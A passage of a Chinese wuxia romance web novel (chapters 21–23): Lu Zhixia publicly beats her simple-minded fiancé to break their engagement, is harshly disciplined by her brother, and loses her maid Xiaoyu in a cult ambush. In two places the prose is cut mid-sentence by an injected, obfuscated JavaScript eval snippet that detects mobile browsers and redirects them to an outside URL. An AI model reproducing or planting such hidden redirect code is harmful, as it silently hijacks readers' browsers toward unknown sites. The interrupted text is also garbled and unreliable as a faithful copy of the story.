陆知夏撇嘴,“小气。” 三人往首饰铺走,人群里冒出一名瘦高公子,对着三人背影大喊:“小仙女!” 这声音十分耳熟,陆知夏不经意回头,看见来人神色大变。 刘斐兴高采烈地飞奔到陆知夏面前,陆子辰往二人中间一站,神情不善地盯着刘斐。 刘斐努嘴叉腰,气呼呼看着高半截头的男子,“你挡我做什么?我要见小仙女。” 陆子辰身后探出半截头,陆知夏警告道:“我不想见你,赶紧走开,否则我让他揍你。” 玄阴派的人赶上来,秦啸天训斥道:“斐儿,不得对你未来的大舅子无礼。” “我不要这样凶巴巴的大舅子,我只要小仙女。”刘斐哭闹道。 见刘斐当着外人的面犯浑,秦啸天立即捂住他的嘴,略显尴尬道:“斐儿无意冒犯,陆师弟见谅。” 秦啸天注意到陆子辰身后的粉衣女子,身形与昨晚见到的相同,一时好奇,问道:“这位姑娘也是云苍派弟子?” 陆子辰还未开口,刘斐抢先道:“啸哥,她就是昨晚救我的小仙女啊。” 秦啸天绕到陆子辰身后,对陆知夏抱拳:“秦某代斐儿多谢姑娘仗义相助之恩。” “不,不必客气。”陆知夏抬手撩发,神情极不自在。 陆子辰无意再隐瞒陆知夏的身份,说道:“舍妹怕生,秦师兄见谅。” 闻言,玄阴派众人微笑,没想到救刘斐的竟是他未过门的妻子,皆感叹两人有缘。 陆知夏配合陆子辰的话,装出一副忸怩怯生的模样又往他身后躲,逃避那些好奇窥视的目光。刘斐却缠上来,一个人絮絮叨叨,她忍无可忍拔腿就跑。 “小仙女等等我。”刘斐匆匆追上去。 玄阴派众人望着二人背影微笑,同陆子辰一道跟上去,远远保护二人。 21. 暴行 身后的人紧追不放,陆知夏打算提前实行蓄谋已久的计划,停在路边歇息。 “小仙女,等等我……”刘斐屁颠屁颠终于追上陆知夏,弯腰大口踹气。 陆知夏抱着手臂看着他,“傻大个,你追我做什么?” 刘斐憨声道:“堂姐说做人要知恩图报,昨晚你救了我,我是来感谢你的。” “哦?”陆知夏朝他伸出一只手,“谢礼呢?” 突如其来的索要让刘斐尴尬脸红,他们是偶遇,哪里来得及准备礼物。 刘斐挠挠头,忽然把手伸进衣襟取出一个纸包,说道:“这是云霜居的点心,可好吃了,给你。” “你在打发乞丐呢?”陆知夏将他手里的糕点打落在地,觉得还差点气势,随即抬脚将糕点踩碎。 “这是我最爱吃的糕点,我都舍不得吃呢……”刘斐望着地上被绣鞋踩成泥的点心,眼里泪光闪烁。 陆知夏猛戳刘斐额头,讥嘲道:“这种吃剩的东西也敢拿来孝敬本小姐,臭小子你是不是活腻了?”被恶霸欺负多了,她模仿起坏人来得心应手。 刘斐怯怯看着一脸痞相的陆知夏,眼眶越来越红。 为了自己的终身幸福陆知夏可不会心软,再说这小子昨日欠她的,今日这一遭就当报答她吧。 陆知夏冷笑道:“既然你爱吃,那就捡起来吃,吃不干净我打得你满地找牙!” 刘斐吓得眼泪直流,眼神惊恐而无助,“小仙女,你变了……” “吃啊。”陆知夏揪着刘斐耳朵往地上按,“再磨叽我立刻揍你。” 刘斐跪趴在地,拾起地上掺灰的糕泥往嘴里送,忽然破涕为笑,“好吃,真好吃。” 见状,陆知夏良心不由一痛。本想激起他的怒意,却被他可怜兮兮的样子动摇意志。 “不许再吃。”陆知夏将刘斐手里的糕泥拍去,拉他站起来,“我让你吃你就吃,你是不是傻?”话音刚落她才反应过来,他确实是傻子没错。 刘斐满含歉意道:“小仙女,是我不对,下次我一定带一份大礼给你。” 看着他真诚的模样,陆知夏心里更堵得慌,脸上痞气褪去几分。 “谁稀罕你的东西。”陆知夏再次狠下心,一把将刘斐推倒在地,当着走近的一行人的面,坐在他身上对着那张旧伤未愈的脸挥拳狠揍。 走近的一行人被陆知夏揍人的凶狠模样惊呆。她内力被封虽不致人重伤,但刘斐的脸被她挠破,旧伤加重,连连惨叫。 “住手!”陆子辰眉心皱得可以夹死一只苍蝇,疾步上前将陆知夏拽起来拉到身前,“陆知夏,你是不是疯了?” 随后玄阴派的人也把刘斐从地上扶起来,颇为不满地看着陆知夏。 陆知夏指着刘斐大声道:“他戏弄本小姐,我教训他一顿怎么了?我性子向来如此暴躁,敢惹我他死定了,往后见他一次我打一次,不死不休!” “闭嘴!”陆子辰封住陆知夏哑穴,脸色阴沉得像暴雨前的天空。 刘斐将脸埋进秦啸天怀里大哭,秦啸天沉着脸看向陆子辰。 目睹了陆知夏的暴行,玄阴派弟子皆心有戚戚。难怪陆掌门舍得将自己的漂亮女儿嫁给他们的傻公子,原来是个没人要的悍妇。 半天不见陆子辰给个说道,秦啸天不悦道:“陆师弟,令妹当街打人总得有个理由吧。”他握紧手里的剑,若得不到一个正当的说法就要发难。 陆子辰道:“舍妹从不打人,其中缘由该问你们公子。” 秦啸天看向刘斐,刘斐低头不敢吭声。 一名玄阴派弟子愤愤道:“胡说,刚才她坐在我们公子身上猛打,分明是她欺负人。” 陆知夏连连点头,巴不得他们将她视为悍妇。陆子辰挡在她身前,说道:“贵派公子什么秉性你们难道不清楚?” 众人目光齐齐望向刘斐。刘斐按住秦啸天握剑的手,说道:“啸哥不要生气,是斐儿不好,你不要为难小仙女。” 闻言,玄阴派众人摇头叹息。秦啸天也把握剑的手放下。 江湖传言陆家嫡女温顺知礼,而刘斐未痴傻前却是个到处拈花惹草的好色之徒,秦啸天曾替他料理过不少麻烦,对他的秉性十分了解,自然认为这次也是他老毛病犯了。 秦啸天叹了口气,朝陆家兄妹抱拳,“今日斐儿得罪之处秦某在此代他赔罪,望陆小姐海涵。” 陆知夏口不能言,又被陆子辰挡着,眼看计划效果大打折扣,气得直跺脚。 陆子辰道:“知夏也有不对的地方,回头我定会训斥她,再登门向刘公子赔罪。” 闹剧收场,两家人沉着脸带着各自“祖宗”离开。 * 天色渐暗,街头人来人往。陆子辰拽着陆知夏大步往前走。他面色阴沉,周身戾气慑人,路人撞见纷纷主动避让。 苍松客栈大堂上,刚采购回来的齐放坐在窗边品茶,见二人回来朝他们招手。陆子辰瞥了他一眼,杀气腾腾的眼神把齐放吓了一跳。 兄妹二人上楼后,小玉气喘吁吁地从外边回来,齐放急忙问道:“他们这是怎么了?” 小玉愁容满面道:“小姐当街把刘公子打了,大公子很生气。” 齐放啧啧摇头,“完了,这回她哥非扒她一层皮不可。” 小玉焦急道:“那怎么办?齐公子求求你救救小姐吧。” 二人说话间,楼上传来重重关门声。 地字号套间门窗紧闭,屋外隐约能听到陆子辰的训斥声。齐放和小玉刚走到门前里面的声音就没了。他们把耳朵贴在门上,房门忽然从里面打开,陆子辰面色阴沉地站在门前。 “滚!” 低吼声中,齐放和小玉撒腿就跑。陆子辰再次重重关上门。 他回到屋里,陆知夏仍神情悠然地坐在桌边喝茶。计划有风险,陆知夏也早做好了被骂被罚的心理准备,一副满不在乎的模样。 陆子辰冷声道:“看来你还是不肯认错。” 陆知夏把玩着手里的茶杯,淡淡道:“他羞辱我,我给他一点教训,哪里做错了?” “那你也不该在众目睽睽之下动手,你就不顾及自己的名声吗?”陆子辰无奈道。 “名声很重要吗?”陆知夏满不在乎的语气彻底激怒陆子辰。他夺过她手里的杯子,扬手泼了她一脸茶水。 “这下总该清醒了吧。”陆子辰道:“别以为我不清楚你那点小心思,为了推掉这门亲事你可真是煞费苦心。” 陆知夏抬袖擦去脸上的茶水,说道:“是你们逼我这么做的。为了余生的幸福自由,牺牲这点名声算什么?” “幸福?自由?”陆子辰冷笑,“从前你在云炀城生活大把自由,那时你过得幸福吗?” 陆知夏怔住,脑子里闪过许多辛酸往事,表情逐渐凝重。 “回答我。”陆子辰捏住她下巴,强迫她看着他。 陆知夏不敢看他,也讨厌他提起那段往事。他明明没有参与其中,却说得好像很了解似的。 “心虚了?”陆子辰的手加重几分力道。 陆知夏感觉下巴骨要被他捏碎了,挥拳捶打他。陆子辰轻松擒住她的右手,旋身来到她身后。胳膊发出一阵咔咔脆响,陆知夏杏眸圆睁,紧咬牙关。她的整条右臂疼得失去知觉,好像被他折断了。 “可知错?” 陆知夏浑身颤抖冒汗,依旧不语。陆子辰按着她右臂的手又加重几分力道。 疼痛加剧,陆知夏含泪咬唇,依旧未吭声。 “挺有骨气,但就是太蠢。”陆子辰松手来到陆知夏面前,将一把匕首递给她,“你想抗婚其实还有一个更彻底的办法。把你这张脸划花,往后你就再也不用操心婚嫁之事,敢不敢?” 陆知夏扶着疼麻的右臂望着他手里的匕首。他的主意确实不错,但一个女子自毁容貌和死有何分别?死了倒还清静,不用承受世人的白眼和唾弃。 怒意和绝望冲昏头脑,陆知夏果真接过匕首,不是划脸,是往自己脖子上扎。 陆子辰及时扣住她的手,厉声道:“愚不可及!既不怕死,为何不敢活下去?”他将陆知夏拽到临街的窗边,指着坐在街边行乞的一个断腿乞儿说道:“这世上过得比你惨的人多了,他们不也在艰难求存?你碰到一点挫折就自刎,以为自己很勇敢?这是懦弱。” 陆知夏道:“我的情况跟他不一样。” “哪不一样?”陆子辰道:“嫁给一个门派公子余生衣食无忧,你已比很多女子命好,还有何不满?” 陆知夏道:“我只想嫁给自己喜欢的人,不是把自己随意卖了。我是人,不是谁用来换取利益的筹码。” “既然你知道自己想要什么就努力去谋取,而不是老想这些歪主意害人害己。”陆子辰道。 陆知夏想起自己最近干的那些傻事,觉得可悲又可笑,滚烫热泪顺着脸颊流下,“可我一个人什么也改变不了……” 陆子辰右手不自觉抬起,又默默收回,叹息道:“你上过学堂,应该读过史书。历史是由活人去创造的,死人生平已成定局,除了供后人品评什么也改变不了。就像你,现在死了就永远是别人口中娇纵蛮横的陆家二小姐,头几年别人可能还会偶尔嘲笑你几句,过个三五年便没人记得你,你就跟没来过这世上一样。” 被人误解和遗忘的结局深深刺痛陆知夏的心,她难过摇头,“他们乱说,我不是这样的……” “那就努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083134|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活着去证明自己。”陆子辰看着陆知夏,“这世上最不缺喜欢空口说白话之人。” 陆知夏垂头不语,心绪复杂。 陆子辰拉她回桌边坐下,为她将脱臼的右肩复位。 一阵剧痛后右臂恢复轻松,陆知夏泪眼朦胧地看着默默离去的陆子辰。他们是冤家,她死了他不该高兴吗?为何还要说这么多劝她活下去? * 悦来客栈二楼最里边一间厢房中,秦啸天和一名蓝衣女子看着坐在床上哭闹的刘斐发愁。 “斐儿别哭了,你脸上有伤,沾了泪水很疼的。”蓝衣女子好声道。 “堂姐,我要见小仙女,你们去把她找来好不好?”刘斐握着蓝衣女子的手撒娇。 蓝衣女子摸着他的头,柔声道:“乖,你和陆小姐已经订婚,很快会再见的。” “真的吗?”刘斐止住眼泪,眼中重燃一丝神采。蓝衣女子拧干帕子给他擦脸,之后小心抹药。 蓝衣女子名唤刘莹,与来历不明的母亲从小寄居于刘家,刘掌门让刘斐唤她堂姐。她虽顶着一个小姐头衔,但因无权无势,在门中地位低微。生母过世后更如丫鬟一般任人驱使。刘斐痴傻后门中下人都不愿尽心照顾,刘夫人便把这份苦差事抛给她,若出点差池她便要受罚。 给刘斐上好药,刘莹和秦啸天一同出门。回房途中,秦啸天说道:“莹儿,我认为那个陆小姐并非善茬,这桩婚事恐怕不妥。” 刘莹道:“两派联姻并非儿戏,若无确凿证据,我想叔叔不会轻易退婚的。” 秦啸天道:“可今日我们几个亲眼看到陆小姐像个母夜叉一样坐在斐儿身上打,这种疯女人怎可做我派未来主母?” 刘莹目光幽深,缓缓道:“你们男人不懂,有时候女人为了抗婚是会做出一些疯狂举动的。” “难道陆小姐是故意这么做的?”秦啸天被她的话点醒。刘斐生性浪荡,如今又痴傻,哪个正经人家的姑娘甘心往火坑里跳? 刘莹道:“不如我们先按叔叔的吩咐办事,到了云苍派再暗中探查这位陆小姐的底细,到时再做决定如何?” “还是莹儿想得周到。”秦啸天紧拧的眉头渐渐舒展。 * 夜里,刘莹端着亲自熬制的鸡汤到刘斐房里。 一路上刘斐不断闯祸受伤,他们走走停停已耽搁许多日子。好不容易到了云炀城,刘斐又添新伤,若不尽快养好身体上门下聘,只怕误了两派大事。 床上,睡不着的刘斐在玩人偶。刘莹盛了一碗鸡汤端到他面前,一勺一勺吹凉了喂他喝。 “堂姐做的鸡汤真好喝。”刘斐咧着油亮的嘴傻笑。 “好喝就多喝几碗。”刘莹摸摸刘斐的头,眼底掠过一丝不易觉察的冷意。 喝完鸡汤刘斐脑子一片昏沉,擦完嘴倒头呼呼大睡。刘莹面无表情地收拾东西出门,抬眼便见秦啸天同一名身形挺拔的黑衣男子站在走廊上说话。她转身回房整理鬓发,开门款步上前作礼,“莹儿见过陆公子。” “刘小姐。”陆子辰朝刘莹抱拳一礼。刘莹微微一笑,目光始终未从陆子辰身上移开。 陆子辰道:“今日舍妹多有得罪,我已将她训斥,此番特意带补品来看望刘公子。” 刘莹道:“不巧,斐儿刚刚吃完东西睡下。” 陆子辰将手上锦盒交给刘莹,“既是如此,这点心意请你们收下,替我向刘公子转达歉意。” “陆公子太客气了。”刘莹接过锦盒,“斐儿只是添了点轻伤罢了,休息几日便好。” 秦啸天道:“斐儿唐突令妹,该登门赔不是的是我们。等过些时日斐儿养好伤,我们便携聘礼上门,让他亲自向陆小姐赔罪。” 陆子辰颔首,抱拳告辞。 刘莹目送那道挺拔身影下楼,媚柔的眸中满是不舍。 秦啸天轻咳一声,说道:“人走了,你快回屋歇息吧。” 刘莹嗔怪道:“啸哥为何不留他喝杯酒再走?” 秦啸天道:“那也得人家乐意。你没看见他一副冷若冰霜的样子?若不是为了这门亲事,他才懒得理我们。” 刘莹用手指绞着肩上一缕长发,望着走出客栈的挺拔身影浅笑。她知他并非高傲之人,否则那日就不会拉起被人恶意推下荷塘浑身污泥的她。 秦啸天好意提醒道:“你可不要过度沉迷那副好看皮相,不苟言笑之人说不定心肠也冷硬。” “啸哥你不懂。”刘莹含羞道:“看似心肠冷硬之人往往越重情义。” 秦啸天看她一副芳心萌动的模样无奈摇头,“爱慕他的女子甚多,却从未听闻他正眼瞧过谁,我看他压根无情。” 话不投机半句多,刘莹转身回房。 22. 遇袭(上) 闯祸后,陆知夏被锁在厢房里不能外出,四楼也加强守卫。 翌日,小玉带着陆知夏写的采买清单交给陆子辰,陆子辰扫了一眼,与齐放分头去办,小玉也跟去帮忙。 大家都出门后,四周静悄悄的。除了中午爬起来吃顿饭,陆知夏在床上躺了一日,直至太阳落山才起来。她无精打采地望着映照在墙上的一抹橘红晚霞发呆。陆子辰今日没来找她麻烦,证明她的计划并不奏效。 呆坐片刻,她又倒在床上望着帐顶叹气,感慨这一趟来得真不值。有些事以她一己之力很难改变,还不如留在山上多享几日清福。 她想不通,昨日她都坏到那种令人发指的地步了,刘斐这家伙竟然不生她的气,难道他喜欢被女人打骂?还有那些旁观的玄阴派弟子,能容她欺负他们家公子? 床上的人连连唉声叹气。 这时走廊上传来嘈杂声,采买的人回来了。陆知夏起身穿好衣裳走出去,小玉和两名伙计正好抬着五个大箱子进来。陆知夏将箱子打开,看着里边琳琅物品惊讶道:“怎么买这么多?” 小玉抹了把汗,说道:“大少爷说这些都是小姐的婚嫁用品,缺一不可。你要的东西在第一个箱子里。东西已买齐,咱们明日就要回云苍了。” 陆知夏淡淡点头,稍显失落。 “小姐你看这是什么?”小玉拿出一个精致雕花木匣,陆知夏眼前一亮,兴奋道:“这是千香阁的限量胭脂水粉!以往我让柳玄蹲点几日才抢到,你今日运气也太好了!” 小玉道:“我今日一早便去,开门的时候使劲挤进去,终于给我抢到了一盒,颜色都是小姐衷爱的。” 看着小玉稍显疲惫满头大汗的样子,陆知夏拍拍她的肩,说道:“既然它与你有缘,这盒就送你吧。” 小玉推辞,“这是小姐你的嫁妆,我不能要。” 陆知夏微笑,“没事,上回买的我还没用。你照顾我这么多年,如今有福咱们自然要同享。” “谢谢小姐。”小玉感激地将东西收下。 清点物品时,陆知夏看到一对兰芝缠纹样的金镯子,拿起其中一只也给小玉,“把它戴上,咱们一人一个。” 金镯子价值不菲,小玉不敢接。陆知夏拉过她的手直接把镯子戴在她手上,“这是我专门为咱们姐妹定做的,你必须收下。” “小姐对我已经很好了,小玉真的不能再收你这么贵重的礼物。”小玉又把镯子脱下还给陆知夏。 陆知夏面色一沉,说道:“你不收就是瞧不起我,以后我再也不理你了。” 见她态度强硬,小玉不再推辞,但也舍不得戴,用帕子将镯子包好放进怀里。 陆知夏摸摸小玉的头,说道:“等我出嫁后你就下山吧,去过自己想要的生活,不必留在我身边跟我过这种看人脸色的生活。” “我不走。”小玉跪在地上,不舍地握着陆知夏的手,“小玉答应过夫人要好好照顾小姐,即使日子再难熬也决不弃小姐而去。” “傻瓜。”陆知夏眼眶微红,扶她站起来,“想留就留吧,不过我命苦,你跟着我就会有吃不完的苦,你可别后悔。” 小玉破涕为笑,“小玉绝不后悔。” 提到陆夫人,小玉忽然想起一件重要的事,从一个大箱子里取出两坛用布包裹着的酒,说道:“下山前小姐提过这事,今日我悄悄回了一趟老宅把它们挖出来了。” “辛苦你了。”陆知夏抱着两坛酒,心里无限感慨。它们是母女二人定居莫宅不久后一起酿的,距今已有九年多。酿酒时,母女俩相约回山之时一同开坛痛饮,可惜…… 三年前匆匆离开,陆知夏一直对它们念念不忘。不久她就要嫁人,以后或许很难再回家里,这次回山她定要把它们带到母亲墓前开坛喝了。 * 夜里,陆知夏翻来覆去睡不着,索性起身走到窗前,吹着清凉夜风,望着半缺的月亮发呆。 “人这辈子活着究竟是为了什么?”陆知夏喃喃念起这句母亲生前时常挂在嘴边的话,幽幽叹息。 以前听母亲说这话的时候,她总觉得她太悲观,但不知为何近来她也有这样的感叹。尤其是面对这桩不公婚事时。父亲对她说,女儿家最终都要嫁人相夫教子。旁人一个个劝她说嫁刘家不亏。可说这些话的人又有谁亲眼见过一个因嫁错人而结局凄凉的女人? 她的母亲在最美好的年纪因识人不清错嫁给心有所爱的父亲,虽然衣食无忧,受人敬仰风光无限,但最后还不是落得个红颜未老被人抛,日日买醉断魂乡的凄凉下场。无半分真情的婚姻,嫁得再好又有何用? “风光天下知,愁苦独自尝。”陆知夏苦笑摇头。晚风吹在脸上格外冰凉,几粒水珠滴落手背,她这才惊觉自己已泪流满面。合上窗,她暗暗发誓决不步母亲后尘。此生若遇不到真心待她之人,她宁死也不委身任何人。 * 翌日清晨,马车装点妥当后,陆知夏他们即刻启程回云苍。 天气有些闷热,头顶乌云密布,陆子辰估计不久会有大雨,催促马车提速。 这回换了一辆宽敞平稳的马车,车里还垫了厚软垫,车速快些也四平八稳,陆知夏并未感到任何不适。 半个时辰后,一行人离开云炀城地界向云苍山而去。从官道下了小路行人稀少,两旁绿树遮天,林深草盛,一片静谧。 走到半路,身下黑马焦躁不安,陆子辰勒住缰绳,即刻抬手示意马车停下。 车里的人正在打盹,车猛然停住,小玉身子一晃惊醒过来。外边出奇安静,她不明情况伸手掀开帘子。车夫示意她莫要妄动,保持安静。 闷热的风里夹杂一丝凉意,眼前周围这片看似平静寻常的林子,在高手的感官里却暗藏杀机。微风拂过,树叶沙沙作响。细小的叶片随风飘落,擦过林中暗藏的利刃,发出一丝细微轻响。 陆子辰耳廓微动,眼神一凛,朝林中喝到:“来者何人,还不速速现身。” 话音刚落,十多名头戴斗笠、手执月弧镰刀的异族武士从林中跃出,转眼将路中间的车马围住。这些人的黑衣襟口和袖口都绣有显眼的红月纹饰,正是乌月教独有的徽记。 “陆子辰,我们又见面了。”一个粗狂的男声隔空传来。 少时,一名黑衫绿唇的魁梧男子跃入场中,随他而来的还有一道儒雅白影。二人服饰一黑一白,神情阴险不善,仿佛前来索命的黑白无常,得意地看着面前被他们包围的“猎物”。 “青蟒,白郎。”陆子辰认出来人。此二人正是乌月教四大护法中的其中两位。 近几年,乌月教徒大肆涌入中原,频频侵扰各大门派,四处在江湖上兴风作浪。上回破坏莫离门公子的大婚,草菅数条人命,这回又来云苍作恶,看起来气焰十分嚣张。 青蟒喝道:“陆子辰,上回你我胜负未分,这回咱们接着打,定要分出个胜负来。” 乌月教来人甚多,两位护法也在场,不好对付。陆子辰看了一眼暗沉天色皱眉,暴雨将至,这些家伙可真会挑时间。 青蟒身边的白衫儒雅公子邪魅笑道:“哥哥放心打,其他人交给我应付。” 一场恶战不可避免,陆子辰和齐放握紧手里的剑。 青蟒飞身袭来,一手万毒掌冒着诡异青烟直往陆子辰天灵盖劈来。周围黑衣武士也挥着锋利镰刀围上马车。 齐放和车夫拔剑保护马车,但敌人太多有些顾不过来,让一两个乘虚而入。 * 外边响起打斗声,小玉慌张摇醒陆知夏,“小姐,有坏人袭击我们。” 闻言,陆知夏惊坐起来掀开帘子。外边一片混乱,齐放和车夫在周围苦苦应战,陆子辰也被一个绿嘴怪男缠着。她还没想好如何应对,一个黑衣武士挥刀朝她砍来,陆知夏放下帘子缩回车里,随后帘子溅上一道鲜血,吓得主仆二人瑟瑟发抖。 陆知夏心脏砰砰跳得很快,江湖厮杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083135|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同于街头打架,刀光剑影中稍有不慎便一命呜呼。她只有打架的经验,没有杀人的经验,加上内力被封,眼下和小玉没什么区别。 主仆二人被困车里不知所措。陆知夏担心外边这么多坏人陆子辰他们三人撑不住,扶着车厢的手紧张得轻轻颤抖。 车身忽然一晃,陆知夏和小玉的心提到嗓子眼。 “啊。” 一把镰刀扎穿车顶,接着不停劈砍,似要将车顶掀开。惊恐之下,主仆二人掀开帘子跳下马车,不停往前狂奔。 “别乱跑。”齐放朝二人背影大喊。 适逢一声惊雷炸响,响彻天地的轰鸣将所有声音掩盖。几道刺眼闪电闪过后,天空开始落下大雨。 主仆二人逃跑经验丰富,一路灵活躲闪避过几次冷锋,相牵往树林里狂奔而去。场中黑衣武士也追去大半。 陆子辰正与青蟒激战,余光瞥见主仆二人被一群黑衣武士紧追不放,他顿时醒悟,这些人是冲着陆知夏来的。乌月教一向敌视中原武林,如今两大门派即将联姻,他们定会千方百计破坏阻挠。 陆子辰不再恋战,伺机抽身。青蟒哪肯罢休,穷追不舍跟来,出招阴狠毒辣,令陆子辰疲于应付。 车夫和齐放也被白郎等高手拖住,根本无暇抽身去保护陆知夏。 雨势很大,主仆二人浑身湿透,眯着眼睛在林子里一路狂奔。身后的黑衣武士握着镰刀紧追而来,却始终与她们保持距离,似乎故意放任她们这么跑。 主仆二人穿过前面大片草丛,眼前豁然一亮,所幸她们及时刹住脚步,再往前几步就是一处看不见底的深谷,二人惊出一身冷汗,紧张地回头望向身后。 黑衣武士慢慢围上来将她们退路堵死。 陆知夏举着一把先前在地上捡的月弧镰刀挡在小玉身前,大喝道:“你们一群大男人欺负两个弱女子算什么本事?” 一个黑衣武士冷声道:“乌月教徒一向听令行事,主上要你死,莫说是女子,就算你是孩童也照杀不误。” 原来追她们的这些人是乌月教徒,陆知夏手里的镰刀差点拿不稳。《江湖逸闻录》记载过许多乌月教在中原犯下的恶行,乌月教的人个个心肠歹毒、无恶不作,中原人皆恨之入骨,称其为魔教。 陆知夏暗叹自己流年不利。 黑衣武士渐渐向绝路上的二人围拢,陆知夏和小玉慢慢后退。前有索命恶鬼,后是深谷断崖,她们悬着的心彻底凉了…… * 陆子辰与青蟒单独过了十多招,勉强占上风。青蟒中了他一剑,但掌风威力依然不减。陆子辰一边抵挡青蟒阴毒招式,一边担忧陆知夏那边,被青蟒乘虚袭来一掌。陆子辰来不及避开,运功抬掌硬挡。 两掌间内力相撞,爆发一阵惊人威力,催得四周雨帘炸开、草木尽折。 劲风停息,青蟒疾退数步,单膝跪地狂吐鲜血。陆子辰也后退几步,脸色苍白。好在青蟒这一掌无毒,否则此刻就算伤势不重他也毒气缠身。 一掌立分高下。 青蟒内力涣散无法运功,抬头不甘地瞪着陆子辰,道:“臭小子,今日算你走运。”言罢,黑影往林中遁去,转眼消失无踪。 大雨中,挺拔身影轻晃,陆子辰低头吐了口血。他顾不上调息,擦去唇边血渍提剑去助齐放脱困。 车夫战死,齐放一人对抗白郎等数名高手十分吃力。白郎使的虽是铁扇,但身手灵活、招式狠辣,齐放一身白衣被划得到处都是血洞。 一阵强劲剑气扫来,白郎闪身险险避开,袖子缩得慢被削去大片。他惊恐回头,见陆子辰杀气腾腾赶来,青蟒早已扔下他逃得无影无踪。白郎啐了一口,无心恋战即刻与下属遁走。 替齐放解围后,陆子辰脸色愈发苍白。但二人顾不得喘息,即刻提剑纵身往林子里跃去。 雨势未歇,大雨蒙眼,忽视胸中气血翻涌,陆子辰加快身形,循着林中痕迹如疾箭般往断崖方向赶去。 23. 遇袭(下) 断崖边,八名黑衣武士手执弯刀围着两名走投无路的年轻女子取乐。对这些杀人如麻的魔教徒来说,直接杀了她们太无趣,看着她们被一刀刀折磨至死才令人兴奋。 “小姐。”小玉拽着陆知夏的手,忧伤地看着倔强护在身前的纤瘦背影。明明她是仆人,遇到危难也该是她挡刀,但陆知夏却为了保护她挨了好几刀,浑身颤抖站立不稳却仍护着她。 一声响哨传来,断崖边的魔教徒收了笑。本来还想在送她们归西前再取乐一番,眼下收到指令他们必须尽快结束任务离开。 八名魔教徒紧握镰刀一齐朝二人出手,冰冷的寒光在雨中尤晃得人眼花。横竖是死,陆知夏豁出去,挥舞着镰刀冲上去同他们拼了。 掌心一麻,手里的镰刀脱手飞出,陆知夏被人猛踹一脚小腹,仰摔在泥水里动弹不得。 密集的雨水浇得陆知夏睁不开眼,但她清晰感觉到自己死期将至。魔教徒们围上来,举起手中锋利镰刀齐齐向她砍下。 陆知夏紧紧闭上双眼,自嘲自己之前总寻死,如今死到临头居然怕了…… 一层阴影骤然笼于上方,浇在陆知夏脸上的雨水也停住。陆知夏睁眼对上小玉满含不舍的眸子,危险时刻她冲上来趴在她身上不是找死吗? “快走开!”陆知夏推她不动。 “呲。” 利刃穿透血肉的声音清晰入耳,惊人心魄。陆知夏瞳孔猛然一缩,眼睁睁看着数把刀尖穿透小玉身体抵到她胸前。 “不!” 滚烫的鲜血沿着刀尖滴在陆知夏身上,烫得她浑身剧烈颤抖,喉头发紧。一向胆小的小玉,生死一线竟勇敢用自己的娇躯为她挡下致命一击…… 小玉紧抿着唇,吃力地牵起一丝微笑,看着陆知夏的眼神却柔和释然,仿佛在告诉她不用害怕,有她在。 陆知夏眼中酸胀,泪流不止,“你怎么这么傻……” 一击不中,周围的魔教徒纷纷拔出刀刃。再次承受剧烈的痛苦,小玉面容扭曲,痛呼一声软倒在陆知夏身上。 “小玉!” 凄厉的哭喊声响彻山林,陆知夏紧紧抱住怀里的人,当上方数把镰刀再度砍来时使劲翻身。这一次,她不会再让小玉为自己挨刀。 “我们一起去见娘吧。”陆知夏惨然一笑。 “不,替我好好活着。”小玉吃力地从牙缝间挤出几个字,突然大力抱着陆知夏滚到一旁,躲开致命一击。 小玉推开陆知夏,捡起手边的镰刀,拼尽最后一口气朝周围魔教徒一通乱砍。 “不要,小玉快回来。”陆知夏哭喊着从泥水里艰难爬起来。 小玉似乎没有听到她的话,仍旧盲目地胡劈乱砍。 几个魔教徒不可思议地看着眼前这个胸口被扎成筛子仍站立不倒的年轻女子。混乱中有人被她划伤,对方恼羞成怒挥刀抹了她脖子。 混乱停止,小玉整个人直挺挺倒在泥水中,抽搐片刻后再无动静。 “小玉!”陆知夏拖着一条重伤的腿冲上去,捞起泥水里的小玉紧抱在怀中,不停唤她的名字。 淡青衣衫早已被胸口涌出的鲜血染红,脖子上狰狞的伤口也不断淌血,小玉面色发青,双目紧闭,始终没有一丝反应。 陆知夏感觉怀里的人体温在流失,身子也发僵,悲痛万分仰头咆哮,任冰凉的雨水把她浇透。 魔教徒接连失手已是不耐,挥舞镰刀朝陆知夏砍来。陆知夏视若无睹,无非一死,跟好友一同上路不孤单。 林中跃出一道黑影,手中长剑蕴着内力,俯冲间对着围攻陆知夏的八名黑衣武士一剑横扫。强劲剑气破开雨帘所向披靡,直将三名毫无防备的黑衣武士当场拦腰斩断。其余人大惊,还未来得及还击长剑已至眼前。 周围血雨飞溅,惨叫声不断。陆知夏抬眼模糊看见一道熟悉的挺拔身影在厮杀,那些仗势欺人的魔教徒片刻便倒在他剑下,殷红鲜血染满断崖,腥气浓郁。 陆知夏低头看着小玉,木然道:“有人来救我们了,我带你去看大夫,放心,你会没事的……”怀里的人毫无反应。倾盆大雨浇在身上,寒到她心里。 “她已经死了。” 眼前晃过一角黑色衣袍,陆子辰单膝跪在她身前,说道:“你的伤口在流血,过来我给你包扎。” 陆知夏没有理会他,抱紧怀里逝去的人儿放声大哭。 大雨倾盆,雷声滚滚,天上地下一片愁云惨淡。听着耳畔撕心裂肺的哭声,陆子辰握紧手里的剑,暗暗压制住胸中上涌的气血。 